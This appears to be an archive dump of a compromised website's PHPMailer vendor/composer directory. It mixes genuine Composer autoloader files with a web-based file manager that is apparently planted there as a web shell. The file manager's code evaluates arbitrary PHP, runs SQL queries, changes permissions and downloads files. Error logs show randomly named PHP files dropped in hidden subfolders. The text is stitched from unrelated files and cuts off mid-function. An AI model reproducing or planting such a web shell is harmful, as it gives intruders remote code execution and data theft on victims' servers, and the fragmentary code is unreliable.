'-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '

'; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) {PHPMailer/vendor/composer/3cdj8k/error_log000064400000000304151026170410014446 0ustar00[27-Oct-2025 03:46:16 UTC] PHP Parse error: syntax error, unexpected end of file in /home/gettoplisting/public_html/dd7e5a/functionalityRee/PHPMailer/vendor/composer/3cdj8k/wjp8h.php on line 261 PHPMailer/vendor/composer/InstalledVersions.php000064400000035335151026170410015640 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` * * @final */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints($constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = require __DIR__ . '/installed.php'; } else { self::$installed = array(); } } $installed[] = self::$installed; return $installed; } } PHPMailer/vendor/composer/platform_check.php000064400000001635151026170410015145 0ustar00= 50500)) { $issues[] = 'Your Composer dependencies require a PHP version ">= 5.5.0". You are running ' . PHP_VERSION . '.'; } if ($issues) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); } elseif (!headers_sent()) { echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; } } trigger_error( 'Composer detected issues in your platform: ' . implode(' ', $issues), E_USER_ERROR ); } PHPMailer/vendor/composer/autoload_static.php000064400000002105151026170410015334 0ustar00 array ( 'PHPMailer\\PHPMailer\\' => 20, ), ); public static $prefixDirsPsr4 = array ( 'PHPMailer\\PHPMailer\\' => array ( 0 => __DIR__ . '/..' . '/phpmailer/phpmailer/src', ), ); public static $classMap = array ( 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInitfe14a578d2d91135824eb14787b61129::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInitfe14a578d2d91135824eb14787b61129::$prefixDirsPsr4; $loader->classMap = ComposerStaticInitfe14a578d2d91135824eb14787b61129::$classMap; }, null, ClassLoader::class); } } PHPMailer/vendor/composer/autoload_namespaces.php000064400000000213151026170410016162 0ustar00register(true); return $loader; } } PHPMailer/vendor/composer/dj6slh/error_log000064400000000376151026170410014563 0ustar00[27-Oct-2025 03:47:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#wp-shizuka.php on line 100 PHPMailer/vendor/composer/dj6slh/index.php000064400000000156151026170410014462 0ustar00PHPMailer/vendor/composer/installed.php000064400000002034151026170410014135 0ustar00 array( 'name' => '__root__', 'pretty_version' => '1.0.0+no-version-set', 'version' => '1.0.0.0', 'reference' => NULL, 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true, ), 'versions' => array( '__root__' => array( 'pretty_version' => '1.0.0+no-version-set', 'version' => '1.0.0.0', 'reference' => NULL, 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false, ), 'phpmailer/phpmailer' => array( 'pretty_version' => 'v6.7.1', 'version' => '6.7.1.0', 'reference' => '49cd7ea3d2563f028d7811f06864a53b1f15ff55', 'type' => 'library', 'install_path' => __DIR__ . '/../phpmailer/phpmailer', 'aliases' => array(), 'dev_requirement' => false, ), ), ); PHPMailer/vendor/composer/jmvnfw/error_log000064400000001103151026170410014665 0ustar00[27-Oct-2025 03:45:53 UTC] PHP Notice: Undefined variable: auth in /home/gettoplisting/public_html/dd7e5a/functionalityRee/PHPMailer/vendor/composer/jmvnfw/he1m3.php on line 556 [27-Oct-2025 03:45:53 UTC] PHP Warning: session_start(): Cannot start session when headers already sent in /home/gettoplisting/public_html/dd7e5a/functionalityRee/PHPMailer/vendor/composer/jmvnfw/he1m3.php on line 1229 [27-Oct-2025 03:45:53 UTC] PHP Notice: Undefined variable: auth in /home/gettoplisting/public_html/dd7e5a/functionalityRee/PHPMailer/vendor/composer/jmvnfw/he1m3.php on line 1398 PHPMailer/vendor/composer/LICENSE000064400000002056151026170410012456 0ustar00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PHPMailer/vendor/composer/autoload_classmap.php000064400000000336151026170410015654 0ustar00 $vendorDir . '/composer/InstalledVersions.php', ); PHPMailer/vendor/composer/dntuq1/index.php000064400000000154151026170410014502 0ustar00PHPMailer/vendor/composer/u5q6bg/error_log000064400000000366151026170410014501 0ustar00[27-Oct-2025 03:47:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#po.php on line 115 PHPMailer/vendor/composer/u5q6bg/index.php000064400000000146151026170410014400 0ustar00PHPMailer/vendor/composer/fxlo86/error_log000064400000000374151026170410014515 0ustar00[27-Oct-2025 03:47:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#wp-moric.php on line 271 PHPMailer/vendor/composer/fxlo86/index.php000064400000000154151026170410014414 0ustar00PHPMailer/vendor/composer/ClassLoader.php000064400000040057151026170410014361 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier * @author Jordi Boggiano * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var \Closure(string):void */ private static $includeFile; /** @var ?string */ private $vendorDir; // PSR-4 /** * @var array[] * @psalm-var array> */ private $prefixLengthsPsr4 = array(); /** * @var array[] * @psalm-var array> */ private $prefixDirsPsr4 = array(); /** * @var array[] * @psalm-var array */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * @var array[] * @psalm-var array> */ private $prefixesPsr0 = array(); /** * @var array[] * @psalm-var array */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var string[] * @psalm-var array */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var bool[] * @psalm-var array */ private $missingClasses = array(); /** @var ?string */ private $apcuPrefix; /** * @var self[] */ private static $registeredLoaders = array(); /** * @param ?string $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; self::initializeIncludeClosure(); } /** * @return string[] */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array[] * @psalm-return array> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return array[] * @psalm-return array */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return array[] * @psalm-return array */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return string[] Array of classname => path * @psalm-return array */ public function getClassMap() { return $this->classMap; } /** * @param string[] $classMap Class to filename map * @psalm-param array $classMap * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { (self::$includeFile)($file); 